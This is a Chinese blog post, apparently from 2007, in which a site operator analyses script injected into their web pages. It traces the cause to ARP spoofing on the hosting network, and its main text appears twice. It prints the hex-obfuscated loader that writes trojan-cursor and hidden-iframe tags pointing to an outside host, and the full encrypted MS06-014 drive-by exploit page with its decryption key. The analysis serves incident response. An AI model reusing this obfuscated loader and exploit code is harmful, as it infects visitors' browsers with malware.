16進制的轉換之javascript運行時會自動轉碼
更新時間:2007年05月16日 00:00:00 作者:
此時檢查網(wǎng)頁源代碼可發(fā)現(xiàn)網(wǎng)頁頂部被加入了一句<script src=http://1.520sb.cn/1.js></script>
但這句代碼不常出現(xiàn)
原以為服務器被人攻擊了或者是服務器中病毒了
檢查過所有出現(xiàn)過問題的頁面及相關文件
沒有發(fā)現(xiàn)異常
服務器也沒有找到入侵痕跡
把這個js文件下載到本地,打開后發(fā)現(xiàn)是如下代碼
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x6d\x61\/\x31\x2e\x6a\x70\x67\'\x29\"\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x6d\x61\/\x32\x2e\x6a\x70\x67\'\x29\"\x3e\x3c\/\x44\x49\x56\x3e\x3c\/\x44\x49\x56\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x74\x6a\x2e\x68\x74\x6d \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e")
16進制的轉換,由于javascript運行時會自動轉碼,這段代碼被嵌入后打開網(wǎng)頁即自動運行。
我們使用document.write語句,把這段代碼打印到頁面上,轉換后代碼為
window["document"]["writeln"]("<DIV style="CURSOR: url('http://1.520sb.cn/ma/1.jpg')">");window["document"]["writeln"]("<DIV style="CURSOR: url('http://1.520sb.cn/ma/2.jpg')"></DIV></DIV>");window["document"]["writeln"]("<iframe src=http://1.520sb.cn/tj.htm width=0 height=0></iframe>")
http://1.520sb.cn/ma/1.jpg 和 http://1.520sb.cn/ma/2.jpg是兩個木馬文件,具體未查,http://1.520sb.cn/tj.htm包含統(tǒng)計和一個MS06014漏洞的利用腳本http://1.520sb.cn/mm/06014.htm
http://1.520sb.cn/mm/06014.htm的內容為
<script language =javascript>
function utf8to16(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}
return out.join('');}
var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(str)
{var c1,c2,c3,c4;var i,len,out;len=str.length;i=0;out = "";while(i<len)
{do
{c1=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)
break;do
{c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)
break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do
{c3=str.charCodeAt(i++)&0xff;if(c3==61)
return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)
break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do
{c4=str.charCodeAt(i++)&0xff;if(c4==61)
return out;c4=base64DecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)
break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}
return out}
function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++)
{v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);}
if(w){return v.join('').substring(0,sl);}
else{return v.join('');}}
function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4)
{v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;}
if(w){v[v.length]=len;}
return v;}
function xxtea_decrypt(str,key){if(str==""){return"";}
var v=str2long(str,false);var k=str2long(key,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff;}
z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff;}
return long2str(v,true);}
t="WxVGrqSVCFufJ2Q0UfFATtOcAf7JQXBkZV5bKcf0Dq/Y74mVvPn26A0t/IvHny4Yh4RYYIac/VDS3fyve81yHK1BjvX1Apl4NHpl/rnNED15lBZ+yMHdIxfcQnLw5Tl5fe/bM63GEdjh7hK3lks0phVie1B12g3fdnKwC2+mgNUlhUXA4+iyLe+NS68c7H4YNAYz++0kv/Pj5JtzWlqB9VuRmblzgTr1kVs6LwzBz5T7LqIWEMc75crmEnBaon4kCBNpiOI78chxVuqUICBOSDBJ5kCblDNsUh6XSUZsGJFbEfwEmaP4IpqYh/9XhLZ7r18whNFb2sDry116kkZOWlWv9jaqRx5MEgPDqtXgBWKR9MCDmZWxdeJ+VYhbnt9c/wnRAh7gq/1FfvbaSmWIMYTEb0cJ7BA9UQCCVguxB9xRrKjmd/qx6JgmUhashgxcR3T9jLk+TDLolNuvGw8DFNnv0orM403xi52oRsTdOTKj+h+jxUjWc8GlZ5Nsy4av4fokSt567oAB45KsK9FcrWgKV3vOhIsdrSSfAIVeUgj+4MGz5k9jdLHVMXaitumnbE5PZXiapExEtz0pliqK80XFipcB5Qy/CdHSEhb5L0Ctl2JDsavLC9ve02HDIAi7ISAaHlBgMTBH2s7tnHQh/IFHZPF898HpKBDM5Nf2sIuuirYTDlXb7KzhJruYRWU+ew715RyhSCqQheW9JZtCXSh25mpbQKw/2qbusz6diL36lJcLy8L/aro7aQyiSFeOa8H/0+85ZAC5o2Pw6DBwYSNrJdcOAMNLcTwJncVKbAOl7B7kwkWASCW3l+17fOGiKU9L+qs1Z1bmbDzqDSK98FNwOvI/lQ9jkEW8tP6BQZZy6un+4ozgxANpQUyZrq2CqAJXRXLxZabDj9Bq1N/2EdVKjYfgsRfqWaFe4owXS7a11WeBE9KuR3/P5lp3G/e4oPt0qVjUT+NlF3rCuf9eEw+3L/OpR8KVZboUOkV5bhWxiWLkf/HhhK3YeGMPaO6uJlFkmLroHoZnYAi1/oDNGziqc61FE2m/kbdOWUwX8tNmh16wb5Uf3g2NZ3M6Ma13kjEqus9hThzGrImK5YsXHS5e0Ludet04HStXz81rVHkivtiT";
t=utf8to16(xxtea_decrypt(base64decode(t), 'fuckjapan'));
document.write (t);
</script>
記錄待查。
由于沒有查到服務器設置被更改及入侵的跡象,上網(wǎng)搜索了一下520sb,看到有人說到:和你們說的都無關 這是arpsniffer的一種,數(shù)據(jù)包在送出到達網(wǎng)關的過程中被劫持 主要原因是內網(wǎng)有計算機被控制,通過arp欺騙手段在某些關鍵字里加的。即使是簡單的html頁面也會被加入。因為arp技術的不穩(wěn)定性,所以劫持的成功率不一樣。
呵呵。客戶有次遇到過,最后原因就是這個,重裝系統(tǒng)都沒用,找出那個計算機是關鍵
http://www.im286.com/archiver/tid-1886972.html
http://linux.chinaunix.net/bbs/thread-886420-4-1.html
那么就是說是服務器局域網(wǎng)的問題
想起萬網(wǎng)有提供一個軟件綁定網(wǎng)關ip和mac地址用來防止arp欺騙的小軟件,連忙下載后運行,提示綁定成功,
刷新網(wǎng)站,但是發(fā)現(xiàn)插入的病毒代碼依然存在。
打電話到萬網(wǎng),得到確實是arp欺騙的肯定回答,答檢查有問題的主機需要到下周一,提示我下載他們的mac綁定工具,就是我原來運行的那個小軟件,讓我重啟后再觀察。
目前為止,問題貌似已解決,記錄以上待查。
由于本blog放在同一服務器上,請這周瀏覽過本博滴朋友及時升級殺毒軟件,并做好殺毒工作,如因此造成了任何損失,本人只能深深的致以歉意。
ps:520sb.cn的域名所有人是一個名為牛曉潘的sb,看看這個域名就知道了。
但這句代碼不常出現(xiàn)
原以為服務器被人攻擊了或者是服務器中病毒了
檢查過所有出現(xiàn)過問題的頁面及相關文件
沒有發(fā)現(xiàn)異常
服務器也沒有找到入侵痕跡
把這個js文件下載到本地,打開后發(fā)現(xiàn)是如下代碼
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x6d\x61\/\x31\x2e\x6a\x70\x67\'\x29\"\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x6d\x61\/\x32\x2e\x6a\x70\x67\'\x29\"\x3e\x3c\/\x44\x49\x56\x3e\x3c\/\x44\x49\x56\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x74\x6a\x2e\x68\x74\x6d \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e")
16進制的轉換,由于javascript運行時會自動轉碼,這段代碼被嵌入后打開網(wǎng)頁即自動運行。
我們使用document.write語句,把這段代碼打印到頁面上,轉換后代碼為
window["document"]["writeln"]("<DIV style="CURSOR: url('http://1.520sb.cn/ma/1.jpg')">");window["document"]["writeln"]("<DIV style="CURSOR: url('http://1.520sb.cn/ma/2.jpg')"></DIV></DIV>");window["document"]["writeln"]("<iframe src=http://1.520sb.cn/tj.htm width=0 height=0></iframe>")
http://1.520sb.cn/ma/1.jpg 和 http://1.520sb.cn/ma/2.jpg是兩個木馬文件,具體未查,http://1.520sb.cn/tj.htm包含統(tǒng)計和一個MS06014漏洞的利用腳本http://1.520sb.cn/mm/06014.htm
http://1.520sb.cn/mm/06014.htm的內容為
<script language =javascript>
function utf8to16(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}
return out.join('');}
var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(str)
{var c1,c2,c3,c4;var i,len,out;len=str.length;i=0;out = "";while(i<len)
{do
{c1=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)
break;do
{c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)
break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do
{c3=str.charCodeAt(i++)&0xff;if(c3==61)
return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)
break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do
{c4=str.charCodeAt(i++)&0xff;if(c4==61)
return out;c4=base64DecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)
break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}
return out}
function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++)
{v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);}
if(w){return v.join('').substring(0,sl);}
else{return v.join('');}}
function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4)
{v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;}
if(w){v[v.length]=len;}
return v;}
function xxtea_decrypt(str,key){if(str==""){return"";}
var v=str2long(str,false);var k=str2long(key,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff;}
z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff;}
return long2str(v,true);}
t="WxVGrqSVCFufJ2Q0UfFATtOcAf7JQXBkZV5bKcf0Dq/Y74mVvPn26A0t/IvHny4Yh4RYYIac/VDS3fyve81yHK1BjvX1Apl4NHpl/rnNED15lBZ+yMHdIxfcQnLw5Tl5fe/bM63GEdjh7hK3lks0phVie1B12g3fdnKwC2+mgNUlhUXA4+iyLe+NS68c7H4YNAYz++0kv/Pj5JtzWlqB9VuRmblzgTr1kVs6LwzBz5T7LqIWEMc75crmEnBaon4kCBNpiOI78chxVuqUICBOSDBJ5kCblDNsUh6XSUZsGJFbEfwEmaP4IpqYh/9XhLZ7r18whNFb2sDry116kkZOWlWv9jaqRx5MEgPDqtXgBWKR9MCDmZWxdeJ+VYhbnt9c/wnRAh7gq/1FfvbaSmWIMYTEb0cJ7BA9UQCCVguxB9xRrKjmd/qx6JgmUhashgxcR3T9jLk+TDLolNuvGw8DFNnv0orM403xi52oRsTdOTKj+h+jxUjWc8GlZ5Nsy4av4fokSt567oAB45KsK9FcrWgKV3vOhIsdrSSfAIVeUgj+4MGz5k9jdLHVMXaitumnbE5PZXiapExEtz0pliqK80XFipcB5Qy/CdHSEhb5L0Ctl2JDsavLC9ve02HDIAi7ISAaHlBgMTBH2s7tnHQh/IFHZPF898HpKBDM5Nf2sIuuirYTDlXb7KzhJruYRWU+ew715RyhSCqQheW9JZtCXSh25mpbQKw/2qbusz6diL36lJcLy8L/aro7aQyiSFeOa8H/0+85ZAC5o2Pw6DBwYSNrJdcOAMNLcTwJncVKbAOl7B7kwkWASCW3l+17fOGiKU9L+qs1Z1bmbDzqDSK98FNwOvI/lQ9jkEW8tP6BQZZy6un+4ozgxANpQUyZrq2CqAJXRXLxZabDj9Bq1N/2EdVKjYfgsRfqWaFe4owXS7a11WeBE9KuR3/P5lp3G/e4oPt0qVjUT+NlF3rCuf9eEw+3L/OpR8KVZboUOkV5bhWxiWLkf/HhhK3YeGMPaO6uJlFkmLroHoZnYAi1/oDNGziqc61FE2m/kbdOWUwX8tNmh16wb5Uf3g2NZ3M6Ma13kjEqus9hThzGrImK5YsXHS5e0Ludet04HStXz81rVHkivtiT";
t=utf8to16(xxtea_decrypt(base64decode(t), 'fuckjapan'));
document.write (t);
</script>
記錄待查。
由于沒有查到服務器設置被更改及入侵的跡象,上網(wǎng)搜索了一下520sb,看到有人說到:和你們說的都無關 這是arpsniffer的一種,數(shù)據(jù)包在送出到達網(wǎng)關的過程中被劫持 主要原因是內網(wǎng)有計算機被控制,通過arp欺騙手段在某些關鍵字里加的。即使是簡單的html頁面也會被加入。因為arp技術的不穩(wěn)定性,所以劫持的成功率不一樣。
呵呵。客戶有次遇到過,最后原因就是這個,重裝系統(tǒng)都沒用,找出那個計算機是關鍵
http://www.im286.com/archiver/tid-1886972.html
http://linux.chinaunix.net/bbs/thread-886420-4-1.html
那么就是說是服務器局域網(wǎng)的問題
想起萬網(wǎng)有提供一個軟件綁定網(wǎng)關ip和mac地址用來防止arp欺騙的小軟件,連忙下載后運行,提示綁定成功,
刷新網(wǎng)站,但是發(fā)現(xiàn)插入的病毒代碼依然存在。
打電話到萬網(wǎng),得到確實是arp欺騙的肯定回答,答檢查有問題的主機需要到下周一,提示我下載他們的mac綁定工具,就是我原來運行的那個小軟件,讓我重啟后再觀察。
目前為止,問題貌似已解決,記錄以上待查。
由于本blog放在同一服務器上,請這周瀏覽過本博滴朋友及時升級殺毒軟件,并做好殺毒工作,如因此造成了任何損失,本人只能深深的致以歉意。
ps:520sb.cn的域名所有人是一個名為牛曉潘的sb,看看這個域名就知道了。
您可能感興趣的文章:
- JS中的進制轉換以及作用
- javascript常見數(shù)字進制轉換實例分析
- Javascript進制轉換實例分析
- Javascript實現(xiàn)顏色rgb與16進制轉換的方法
- 使用JavaScript進行進制轉換將字符串轉換為十進制
- javascript中簡單的進制轉換代碼實例
- javascript parseInt() 函數(shù)的進制轉換注意細節(jié)
- JS中字符問題(二進制/十進制/十六進制及ASCII碼之間的轉換)
- javascript實現(xiàn)十六進制顏色值(HEX)和RGB格式相互轉換
- 用js實現(xiàn)的十進制的顏色值轉換成十六進制的代碼
- JavaScript 十六進制RGB色碼轉換器
- javascript簡單進制轉換實現(xiàn)方法
相關文章
網(wǎng)絡安全中流量加密實現(xiàn)工具冰蝎4.0介紹
冰蝎是一個動態(tài)二進制加密網(wǎng)站管理客戶端。在實戰(zhàn)中,第一代webshell管理工具"菜刀"的流量特征非常明顯,很容易就被安全設備檢測到?;诹髁考用艿膚ebshell變得越來越多,"冰蝎"在此應運而生2022-09-09